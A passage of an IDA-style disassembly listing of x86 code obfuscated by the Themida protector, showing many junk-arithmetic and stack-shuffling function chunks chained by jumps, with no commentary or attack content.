CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_5681AD: ; CODE XREF: sub_574949-2E90j mov ecx, [esp+0] add esp, 4 mov cl, 45h sub cl, 0C7h jmp loc_564A2D ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5681BD: ; CODE XREF: sub_5678CB+C3FDj mov word ptr [esp+4+var_4], bx mov bh, 0BAh jmp loc_56A46B ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_5681C8: ; CODE XREF: sub_571088-CF51j add esp, 4 pop [esp+4+var_4] pop esp jmp loc_573B54 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3B7 loc_5681D4: ; CODE XREF: sub_56D3B7+Aj mov esi, esp add esi, 4 push ebp push ebx push 312C0686h mov ebx, [esp+10h+var_10] push esi mov esi, esp add esi, 4 push ebx jmp loc_570236 ; END OF FUNCTION CHUNK FOR sub_56D3B7 ; =============== S U B R O U T I N E ======================================= sub_5681F5 proc near ; CODE XREF: sub_56331C+80BFj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055FFF4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00563498 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005644A2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565361 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056B32A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B761 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0056D777 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E93C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00573459 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005752F2 SIZE 00000014 BYTES push ebx sub esp, 4 mov [esp+8+var_8], esi mov esi, 0BF91C3Ch jmp loc_56B32A sub_5681F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_568206: ; CODE XREF: sub_560EA2+6B41j add eax, 57DC0C1Eh push 401Ah mov [esp+4+var_4], edx mov edx, 10CE33FCh push ebp mov ebp, 0FFFFFFFFh sub edx, ebp pop ebp xor edx, 14522063h push ecx push ebx mov ebx, 35C50E75h mov ecx, 32685385h add ecx, ebx pop ebx push 139Ah mov [esp+0Ch+var_C], esi mov esi, 1A955822h sub eax, esi mov esi, [esp+0Ch+var_C] add esp, 4 sub eax, ecx push edi jmp loc_5643DE ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_568256: ; CODE XREF: sub_561027+12A2Fj pop edi add esi, ebp mov ebp, [esp+14h+var_14] add esp, 4 xor ebp, esi pop esi shl ebp, 5 jmp loc_5697B4 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56826D: ; CODE XREF: sub_56A608-5DCBj shr ecx, 8 jmp loc_56B695 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_568275: ; CODE XREF: sub_561418+125C5j push dword ptr [esp+0] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp xchg ebp, [esp+0] pop esp jmp loc_567A18 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_568292: ; CODE XREF: sub_5673C3-4530j push eax jmp loc_56CC73 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- loc_568298: ; DATA XREF: Themida_:0055FCD0o push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_5682A8: ; CODE XREF: sub_56B1DC+7FAAj push 74F5h mov [esp+8+var_8], esi push eax mov eax, 4A0655EAh shr eax, 3 inc eax not eax sub eax, 0AE87BFB4h mov esi, eax jmp loc_5700D0 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5682C8: ; CODE XREF: sub_5678CB+DB07j pop ebp xchg ecx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp+4+var_4], edi mov edi, esp jmp loc_56EA81 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5682E5: ; CODE XREF: sub_574A21-C543j xor ebx, 780C0C1Fh push 7964h jmp loc_5630FA ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5682F5: ; CODE XREF: sub_57354D-126D4j shl esi, 2 push ebx jmp loc_56C561 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_5682FE: ; CODE XREF: sub_572141-8406j mov edx, [esp+8+var_8] jmp loc_568DB2 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_568306: ; CODE XREF: sub_57523A+Dj pop edi push edx jmp loc_575216 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56830D: ; CODE XREF: sub_564D26+78C6j and esi, 55663864h shl esi, 2 push 44ECh jmp loc_571C68 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_568320: ; CODE XREF: sub_56AB5E-5CBj mov ebx, [esp+10h+var_10] add esp, 4 push ebp mov ebp, esp push edx mov edx, 59646C4Fh jmp loc_573A36 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_568334: ; CODE XREF: sub_560844+C6FDj push edi mov edi, 44C63F3Dh and edi, 25592CFFh and edi, 79D46746h inc edi or edi, 42D47DBEh sub edi, 0F1F10797h sub eax, edi pop edi sub eax, ebx add eax, 50E37628h jmp loc_573BEC ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_568362: ; CODE XREF: sub_570732-E242j add esp, 4 jmp loc_574B0A ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- loc_56836D: ; CODE XREF: Themida_:0056D133j pop ecx sub dword ptr [esp], 53826E44h push ecx mov ecx, 97E26D0h sub [esp+4], ecx pop ecx add dword ptr [esp], 4D490347h push ecx jmp loc_569C25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56838D: ; CODE XREF: sub_574A21-DE8Aj push esi mov esi, 45A22812h and ecx, esi push [esp+8+var_8] pop esi add esp, 4 push 6C5Fh mov [esp+8+var_8], esi mov esi, 6D6F28DCh sub esp, 4 mov [esp+0Ch+var_C], edi push ebp mov ebp, 7AEA4A99h jmp loc_567B2F ; END OF FUNCTION CHUNK FOR sub_574A21 ; =============== S U B R O U T I N E ======================================= sub_5683C0 proc near ; CODE XREF: sub_565AFE-1F9Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562BB0 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 00566064 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566451 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056762A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056AAD8 SIZE 0000001A BYTES sub esp, 4 mov [esp+4+var_4], edx push esp jmp loc_56762A sub_5683C0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_5683CF: ; CODE XREF: sub_56B71F+6E6Bj push ecx jmp loc_563FBE ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5683D5: ; CODE XREF: sub_56BD44-182Ej push ecx mov ecx, esp jmp loc_56050E ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_5683DD: ; CODE XREF: sub_560D31+12E71j mov ebx, [esp+4+var_4] add esp, 4 add ebx, 4 push ebp push edx mov edx, 64A137E0h mov ebp, 0E42D41CFh add ebp, edx pop edx xor ebp, 48CE79ABh sub ebx, 0C26105h add ebx, ebp add ebx, 0C26105h pop ebp xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_568AAC ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- loc_56841C: ; CODE XREF: Themida_:0057143Fj sub esp, 4 jmp loc_5686E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_568424: ; CODE XREF: sub_5754DA-10ECAj add esp, 2 sub esp, 4 mov [esp+6+var_8+2], ebx push eax mov ah, 0B6h mov bl, ah jmp loc_563077 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56843A: ; CODE XREF: sub_571088-522j mov ecx, dword ptr [esp-4+arg_0] add esp, 4 jmp loc_56EB60 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_568448: ; CODE XREF: sub_566400+8E56j push edi jmp loc_56FF20 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56844E: ; CODE XREF: sub_5685B2-2AF8j push dword ptr [esp+0] pop edi add esp, 4 jmp loc_562FC6 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56845A: ; CODE XREF: sub_57549C+1j push edx push esi mov esi, 24537A5Ch jmp loc_5726A1 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_568466: ; CODE XREF: sub_571890-8C7Cj mov esi, 50423DD9h sub esi, 1C8838ECh inc esi neg esi add esi, 3F12441Dh xor esi, 4BD95EACh sub ebp, esi pop esi add ebp, eax add ebp, 40816183h push [esp-4+arg_0] pop eax push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp+4+var_4], ecx jmp loc_56BAFC ; END OF FUNCTION CHUNK FOR sub_571890 ; =============== S U B R O U T I N E ======================================= sub_5684A6 proc near ; DATA XREF: Themida_:0055FF3Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560232 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005610ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056141E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005647A5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005652F3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565C22 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566C1C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056D54C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D78D SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056E8D6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E9A0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00571541 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00571DF1 SIZE 00000011 BYTES push 554Fh jmp loc_5610ED sub_5684A6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5684B0: ; CODE XREF: sub_56BD44-383Fj dec edx push esi mov esi, 4A40618Ah xor esi, 0F9540B9Ch xor edx, esi pop esi add eax, edx pop edx add ecx, eax jmp loc_56462F ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5684CA: ; CODE XREF: sub_574A21-78D1j xchg edx, esi push ebx mov ebx, 471A3FF2h and ebx, 47DF405Eh xor ebx, 6A7B45C7h jmp loc_5682E5 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_5684E3: ; CODE XREF: sub_574DC1-DB6Ej mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebp jmp loc_56B3EF ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5684FC: ; CODE XREF: sub_56BD44+1DFDj add edx, 475E72DFh shr edx, 3 jmp loc_5684B0 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_56850A: ; CODE XREF: sub_56DD54-8458j mov edx, [esp-8+arg_4] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp-4+arg_0] pop esp xchg edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov ax, word ptr [esp-8+arg_4] push 0A1Fh jmp loc_570D58 ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_568537: ; CODE XREF: sub_572669-D005j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] jmp loc_56FAAE ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575328 loc_56854C: ; CODE XREF: sub_575328-10190j xor [esp+0Ch+var_C], 66760014h pop ebp xor ebp, 66760014h jmp loc_573F72 ; END OF FUNCTION CHUNK FOR sub_575328 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_56855F: ; CODE XREF: sub_566B37-19A8j mov esi, [esp+8+var_8] add esp, 4 sub ebx, eax mov eax, [esp+4+var_4] add esp, 4 jmp sub_56ACC0 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_568575: ; CODE XREF: sub_564EBE+E0AAj sub eax, ecx push ebp mov ebp, 7585596Dh sub eax, ebp pop ebp push dword ptr [esp+0] pop ecx add esp, 4 push ecx jmp loc_5630CE ; END OF FUNCTION CHUNK FOR sub_564EBE ; =============== S U B R O U T I N E ======================================= sub_56858D proc near ; CODE XREF: sub_5648C6+9A2Ej arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00568B55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056A7D1 SIZE 0000002A BYTES push ebp mov ebp, 3B0A01E0h add esi, ebp pop ebp add edi, esi pop esi jmp loc_56A7D1 sub_56858D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56859E: ; CODE XREF: sub_570621-CF86j mov edx, [esp+8+var_8] add esp, 4 xor edi, [esp+4+var_4] xor [esp+4+var_4], edi jmp loc_56FF59 ; END OF FUNCTION CHUNK FOR sub_570621 ; =============== S U B R O U T I N E ======================================= sub_5685B2 proc near ; CODE XREF: sub_56356E+8j var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 005601B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00560742 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00560CBE SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00560DAE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005617E0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00561AB7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561B28 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561E61 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561F30 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005629DB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562A5B SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00562C78 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00562E0F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562FC6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056378B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005637DE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563987 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00563F95 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005647D4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00564EB8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005653FC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00565AAD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005665FC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00566D22 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566EBB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005679FF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056844E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569467 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0056B336 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B615 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056B6ED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C015 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056C0AB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056CA5B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056D9AA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F7AB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FEC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056FF53 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005702F4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005704DF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005708C1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570D21 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057124A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571EF2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00571F82 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572E4C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005745DD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574A74 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00574ED2 SIZE 00000016 BYTES sub esp, 4 mov [esp-0Ch+arg_8], esi jmp loc_56398F sub_5685B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5685C0: ; CODE XREF: Themida_:00560CB9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] add edi, edx jmp loc_561FD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5685D8: ; CODE XREF: sub_56628B+5DF0j xor ebp, esi push [esp+8+var_8] jmp loc_56D46F ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5685E2: ; CODE XREF: sub_57549C-DCBAj push 7CFFh jmp loc_56C416 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5685EC: ; CODE XREF: sub_5678CB-1ACDj mov eax, 2FFD2FD6h and eax, 28DE4486h not eax sub eax, 50D864B1h sub eax, 3D08216Fh push edi mov edi, 4E4C40DCh dec edi sub esp, 4 mov [esp], esi mov esi, 17E241D3h xor esi, 555353FEh jmp loc_562D30 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- loc_568622: ; CODE XREF: Themida_:0056C064j add esp, 4 xchg ebx, [esp] jmp loc_56DFA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_568630: ; CODE XREF: sub_561418+50A4j mov ebp, edi pop edi push edi mov edi, 6AE13A1Ch sub edi, 0E0F2FC2h mov edx, edi jmp loc_5716BF ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_568646 proc near ; CODE XREF: sub_56489B-2596j var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_E = word ptr 12h ; FUNCTION CHUNK AT 005603CA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005607DF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00561DF0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00562043 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00566C3A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00567B14 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056955D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569C88 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056A230 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056DE64 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056E0D6 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056EC69 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056ED17 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056F5FF SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00572512 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057535B SIZE 00000006 BYTES push ebx mov bh, ch push eax mov ah, bh mov dl, ah pop eax pop ebx mov ecx, [esp+0] jmp loc_567B14 sub_568646 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_568658 proc near ; DATA XREF: Themida_:0055FDC8o var_8 = dword ptr -8 var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] pop edx add esp, 4 push edi jmp sub_570019 sub_568658 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_56866E: ; CODE XREF: sub_565B6E+CC5Ej mov edi, [esp+14h+var_14] add esp, 4 jmp loc_570E58 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56867C: ; CODE XREF: sub_5605BC+E0BCj mov ebx, 4 add ecx, ebx pop ebx push ecx push [esp+2Ch+var_28] pop ecx pop dword ptr [esp+0] pop esp push dword ptr [edi+eax*4] push [esp+28h+var_28] mov eax, [esp+0] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] jmp loc_571B6B ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5686AE: ; CODE XREF: sub_56657A+E2F0j push eax mov eax, 4 add ebx, eax pop eax push ecx push ebp jmp loc_56D783 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_5686BE: ; CODE XREF: sub_565A8D+AF75j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] pop esp mov [esp+0], edi sub esp, 4 mov [esp+4+var_4], ecx push esi push 0BC12998h jmp loc_56CAAA ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- loc_5686E5: ; CODE XREF: Themida_:0056841Fj mov [esp], eax push ebp mov ebp, 4 push ebp pop eax pop ebp sub edx, 313A6C86h sub edx, eax add edx, 313A6C86h pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp jmp loc_573987 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_568716: ; CODE XREF: sub_574656-29C8j add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp sub esp, 4 mov [esp+0Ch+var_C], esi sub esp, 4 mov [esp+10h+var_10], ebx jmp loc_573414 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- loc_568737: ; CODE XREF: Themida_:005732A7j sub esp, 4 mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp push ecx jmp loc_562DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56874B: ; CODE XREF: sub_568764+1F6Ej add ebp, ecx mov ecx, [esp+10h+var_10] add esp, 4 push ebp push [esp+10h+var_C] pop ebp pop [esp+10h+var_10] jmp loc_5661AE ; END OF FUNCTION CHUNK FOR sub_568764 ; =============== S U B R O U T I N E ======================================= sub_568764 proc near ; DATA XREF: Themida_:0055FD98o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056044E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562881 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005632E0 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00563931 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00565247 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005661AE SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0056874B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056A53C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A6CB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B936 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056DF16 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056F5A6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FDB2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005705F8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005710AC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571F0F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005739F1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057426F SIZE 00000018 BYTES mov ax, [esp+0] push ecx push esp push [esp+8+var_8] push [esp+0Ch+var_C] pop ecx jmp loc_56044E sub_568764 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_568776: ; CODE XREF: sub_565632+C69Aj push 0EE4h jmp loc_563B6C ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_568780: ; CODE XREF: Themida_:0056F390j add ebx, 1 xchg eax, ebx push eax jmp loc_56586D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56878A: ; CODE XREF: sub_564D26+EFDCj add edi, ebp mov ebp, [esp+1Ch+var_1C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+20h+var_20] jmp loc_568B2A ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_5687A3 proc near ; CODE XREF: sub_569B75-8F26j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056277D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563A66 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005650C3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565F16 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00566F96 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567C76 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00568B5A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056983F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005699BF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00569D57 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A659 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056AFF2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056E840 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F893 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056FCA0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00572CD0 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00573364 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00574F1E SIZE 00000022 BYTES sub esp, 4 jmp loc_56FCA0 sub_5687A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_5687AB: ; CODE XREF: sub_573612-6EC3j xor edx, 322B3F24h add ebx, 3E52660Dh jmp loc_573DE9 ; END OF FUNCTION CHUNK FOR sub_573612 ; 